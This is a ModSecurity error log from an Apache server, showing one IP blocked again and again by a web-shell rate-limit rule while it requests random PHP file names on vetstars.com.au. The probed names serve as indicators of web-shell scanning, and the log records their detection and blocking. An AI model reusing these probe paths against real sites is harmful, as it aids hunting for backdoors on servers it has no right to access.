[Sun Apr 19 23:44:39.568857 2026] [:error] [pid 15764:tid 15831] [client 20.215.51.14:7052] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws87.php"] [unique_id "aeT4Z2LL_sqdSHoVp-RNdwAAAkU"]
[Sun Apr 19 23:44:40.532278 2026] [:error] [pid 15763:tid 15806] [client 20.215.51.14:7076] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h2.php"] [unique_id "aeT4aLMXv1Y1THOoxaAfdgAAAgo"]
[Sun Apr 19 23:44:41.874147 2026] [:error] [pid 47773:tid 47820] [client 20.215.51.14:7050] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h2.php"] [unique_id "aeT4aeiBHdnCJDuPq9BhjAAAAEQ"]
[Sun Apr 19 23:44:43.949329 2026] [:error] [pid 15760:tid 15779] [client 20.215.51.14:6943] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h2.php"] [unique_id "aeT4a_SdD_XHQMJ_ISt6aAAAAcs"]
[Sun Apr 19 23:44:46.500171 2026] [:error] [pid 47772:tid 47806] [client 20.215.51.14:7094] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h2.php"] [unique_id "aeT4boc0L16cb4smAz_pJwAAABE"]
[Sun Apr 19 23:44:48.192718 2026] [:error] [pid 47886:tid 47905] [client 20.215.51.14:7075] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "aeT4cESe8yiyuPrD7yOMeAAAANE"]
[Sun Apr 19 23:44:49.828633 2026] [:error] [pid 47772:tid 47808] [client 20.215.51.14:6998] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "aeT4cYc0L16cb4smAz_pNgAAABM"]
[Sun Apr 19 23:44:51.447832 2026] [:error] [pid 15763:tid 15804] [client 20.215.51.14:7045] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "aeT4c7MXv1Y1THOoxaAfggAAAgg"]
[Sun Apr 19 23:44:52.731455 2026] [:error] [pid 15693:tid 15704] [client 20.215.51.14:7130] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "aeT4dMNMD-ccazQlTslomgAAAUg"]
[Sun Apr 19 23:44:53.737832 2026] [:error] [pid 15694:tid 15746] [client 20.215.51.14:6913] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "aeT4dbimB-jol1fwqAoedwAAAZQ"]
[Sun Apr 19 23:44:54.656668 2026] [:error] [pid 15763:tid 15801] [client 20.215.51.14:7090] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "aeT4drMXv1Y1THOoxaAfiQAAAgU"]
[Sun Apr 19 23:44:55.494363 2026] [:error] [pid 15763:tid 15817] [client 20.215.51.14:7156] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "aeT4d7MXv1Y1THOoxaAfiwAAAhU"]
[Sun Apr 19 23:44:56.283943 2026] [:error] [pid 15763:tid 15820] [client 20.215.51.14:7016] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "aeT4eLMXv1Y1THOoxaAfkwAAAhg"]
[Sun Apr 19 23:44:57.276427 2026] [:error] [pid 47775:tid 47862] [client 20.215.51.14:6961] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz8.php"] [unique_id "aeT4ebmztjlk9tsmoewxLQAAAJM"]
[Sun Apr 19 23:44:58.312784 2026] [:error] [pid 15760:tid 15768] [client 20.215.51.14:7110] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz8.php"] [unique_id "aeT4evSdD_XHQMJ_ISt6dAAAAcA"]
[Sun Apr 19 23:44:59.229585 2026] [:error] [pid 15694:tid 15745] [client 20.215.51.14:7109] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz8.php"] [unique_id "aeT4e7imB-jol1fwqAoeegAAAZM"]
[Sun Apr 19 23:44:59.861779 2026] [:error] [pid 15760:tid 15773] [client 20.215.51.14:7120] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz8.php"] [unique_id "aeT4e_SdD_XHQMJ_ISt6eAAAAcU"]
[Sun Apr 19 23:45:00.699691 2026] [:error] [pid 15764:tid 15846] [client 20.215.51.14:7060] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeT4fGLL_sqdSHoVp-RNpgAAAlQ"]
[Sun Apr 19 23:45:01.685428 2026] [:error] [pid 47775:tid 47848] [client 20.215.51.14:7099] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeT4fbmztjlk9tsmoewxNQAAAIU"]
[Sun Apr 19 23:45:02.682925 2026] [:error] [pid 15765:tid 15867] [client 20.215.51.14:7064] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeT4fvRqinw-W5EwQ74POwAAAo4"]
[Sun Apr 19 23:45:03.631334 2026] [:error] [pid 15763:tid 15796] [client 20.215.51.14:6983] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeT4f7MXv1Y1THOoxaAfogAAAgA"]
[Sun Apr 19 23:45:04.808207 2026] [:error] [pid 15763:tid 15807] [client 20.215.51.14:6919] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a6.php"] [unique_id "aeT4gLMXv1Y1THOoxaAfqAAAAgs"]
[Sun Apr 19 23:45:05.627712 2026] [:error] [pid 15764:tid 15831] [client 20.215.51.14:7084] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a6.php"] [unique_id "aeT4gWLL_sqdSHoVp-RNtAAAAkU"]
[Sun Apr 19 23:45:06.762095 2026] [:error] [pid 15693:tid 15710] [client 20.215.51.14:7070] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a6.php"] [unique_id "aeT4gsNMD-ccazQlTslooAAAAU4"]
[Sun Apr 19 23:45:07.656442 2026] [:error] [pid 15763:tid 15802] [client 20.215.51.14:7073] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a6.php"] [unique_id "aeT4g7MXv1Y1THOoxaAfsAAAAgY"]
[Sun Apr 19 23:45:08.637814 2026] [:error] [pid 47886:tid 47901] [client 20.215.51.14:7040] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aeT4hESe8yiyuPrD7yOMigAAAM0"]
[Sun Apr 19 23:45:09.896056 2026] [:error] [pid 47886:tid 47894] [client 20.215.51.14:7133] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aeT4hUSe8yiyuPrD7yOMiwAAAMY"]
[Sun Apr 19 23:45:10.972085 2026] [:error] [pid 15764:tid 15847] [client 20.215.51.14:7091] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aeT4hmLL_sqdSHoVp-RNzwAAAlU"]
[Sun Apr 19 23:45:11.723670 2026] [:error] [pid 47886:tid 47893] [client 20.215.51.14:7068] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aeT4h0Se8yiyuPrD7yOMkwAAAMU"]
[Sun Apr 19 23:45:13.645467 2026] [:error] [pid 47772:tid 47800] [client 20.215.51.14:7058] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/euocu.php"] [unique_id "aeT4iYc0L16cb4smAz_pTwAAAAs"]
[Sun Apr 19 23:45:14.939912 2026] [:error] [pid 15764:tid 15836] [client 20.215.51.14:7164] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/euocu.php"] [unique_id "aeT4imLL_sqdSHoVp-RN3AAAAko"]
[Sun Apr 19 23:45:16.210528 2026] [:error] [pid 47775:tid 47853] [client 20.215.51.14:7069] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/euocu.php"] [unique_id "aeT4jLmztjlk9tsmoewxRgAAAIo"]
[Sun Apr 19 23:45:17.129888 2026] [:error] [pid 47775:tid 47866] [client 20.215.51.14:6994] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/euocu.php"] [unique_id "aeT4jbmztjlk9tsmoewxSAAAAJc"]
[Sun Apr 19 23:45:18.011016 2026] [:error] [pid 15694:tid 15725] [client 20.215.51.14:6929] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-denmono.php"] [unique_id "aeT4jrimB-jol1fwqAoehQAAAYI"]
[Sun Apr 19 23:45:18.923385 2026] [:error] [pid 15763:tid 15811] [client 20.215.51.14:7102] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-denmono.php"] [unique_id "aeT4jrMXv1Y1THOoxaAfuwAAAg8"]
[Sun Apr 19 23:45:20.158338 2026] [:error] [pid 15694:tid 15746] [client 20.215.51.14:6918] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-denmono.php"] [unique_id "aeT4kLimB-jol1fwqAoehgAAAZQ"]
[Sun Apr 19 23:45:21.041208 2026] [:error] [pid 15694:tid 15741] [client 20.215.51.14:6872] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-denmono.php"] [unique_id "aeT4kbimB-jol1fwqAoeiAAAAY8"]
[Sun Apr 19 23:45:21.763324 2026] [:error] [pid 47775:tid 47853] [client 20.215.51.14:7135] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xigmltad.php"] [unique_id "aeT4kbmztjlk9tsmoewxVQAAAIo"]
[Sun Apr 19 23:46:16.126602 2026] [:error] [pid 15760:tid 15768] [client 20.215.51.14:7162] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bhigtouj.php"] [unique_id "aeT4yPSdD_XHQMJ_ISt7EQAAAcA"]
[Sun Apr 19 23:46:17.376003 2026] [:error] [pid 15764:tid 15845] [client 20.215.51.14:7160] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bhigtouj.php"] [unique_id "aeT4yWLL_sqdSHoVp-ROVwAAAlM"]
[Sun Apr 19 23:46:19.022035 2026] [:error] [pid 15764:tid 15838] [client 20.215.51.14:7154] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bhigtouj.php"] [unique_id "aeT4y2LL_sqdSHoVp-ROWgAAAkw"]
[Sun Apr 19 23:46:20.110172 2026] [:error] [pid 15764:tid 15836] [client 20.215.51.14:6974] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bhigtouj.php"] [unique_id "aeT4zGLL_sqdSHoVp-ROXwAAAko"]
[Sun Apr 19 23:46:21.347931 2026] [:error] [pid 47772:tid 47792] [client 20.215.51.14:7150] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zyjhr.php"] [unique_id "aeT4zYc0L16cb4smAz_pvgAAAAM"]
[Sun Apr 19 23:46:22.425153 2026] [:error] [pid 15694:tid 15724] [client 20.215.51.14:7118] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zyjhr.php"] [unique_id "aeT4zrimB-jol1fwqAoekgAAAYE"]
[Sun Apr 19 23:46:23.598218 2026] [:error] [pid 15763:tid 15817] [client 20.215.51.14:6979] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zyjhr.php"] [unique_id "aeT4z7MXv1Y1THOoxaAgAgAAAhU"]
[Sun Apr 19 23:46:24.579581 2026] [:error] [pid 47775:tid 47859] [client 20.215.51.14:7137] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zyjhr.php"] [unique_id "aeT40Lmztjlk9tsmoewxmwAAAJA"]
[Sun Apr 19 23:46:25.725694 2026] [:error] [pid 15763:tid 15812] [client 20.215.51.14:7145] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vhwwnrnmqc.php"] [unique_id "aeT40bMXv1Y1THOoxaAgCgAAAhA"]
[Sun Apr 19 23:46:26.530162 2026] [:error] [pid 15763:tid 15802] [client 20.215.51.14:7111] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vhwwnrnmqc.php"] [unique_id "aeT40rMXv1Y1THOoxaAgCwAAAgY"]
[Sun Apr 19 23:46:27.678610 2026] [:error] [pid 15765:tid 15852] [client 20.215.51.14:7159] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vhwwnrnmqc.php"] [unique_id "aeT40_Rqinw-W5EwQ74PTgAAAoA"]
[Sun Apr 19 23:46:28.727193 2026] [:error] [pid 47775:tid 47846] [client 20.215.51.14:7158] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vhwwnrnmqc.php"] [unique_id "aeT41Lmztjlk9tsmoewxpQAAAIM"]
[Sun Apr 19 23:46:29.605566 2026] [:error] [pid 47772:tid 47804] [client 20.215.51.14:7151] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtogs.php"] [unique_id "aeT41Yc0L16cb4smAz_p1QAAAA8"]
[Sun Apr 19 23:46:30.790469 2026] [:error] [pid 15764:tid 15844] [client 20.215.51.14:6945] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtogs.php"] [unique_id "aeT41mLL_sqdSHoVp-ROZgAAAlI"]
[Sun Apr 19 23:46:31.706197 2026] [:error] [pid 15764:tid 15829] [client 20.215.51.14:7074] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtogs.php"] [unique_id "aeT412LL_sqdSHoVp-ROagAAAkM"]
[Sun Apr 19 23:46:32.816901 2026] [:error] [pid 15694:tid 15726] [client 20.215.51.14:7129] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtogs.php"] [unique_id "aeT42LimB-jol1fwqAoemgAAAYM"]
[Sun Apr 19 23:46:33.807486 2026] [:error] [pid 47886:tid 47904] [client 20.215.51.14:6915] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blqjs.php"] [unique_id "aeT42USe8yiyuPrD7yOMsQAAANA"]
[Sun Apr 19 23:46:35.071323 2026] [:error] [pid 15694:tid 15730] [client 20.215.51.14:7143] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blqjs.php"] [unique_id "aeT427imB-jol1fwqAoenwAAAYQ"]
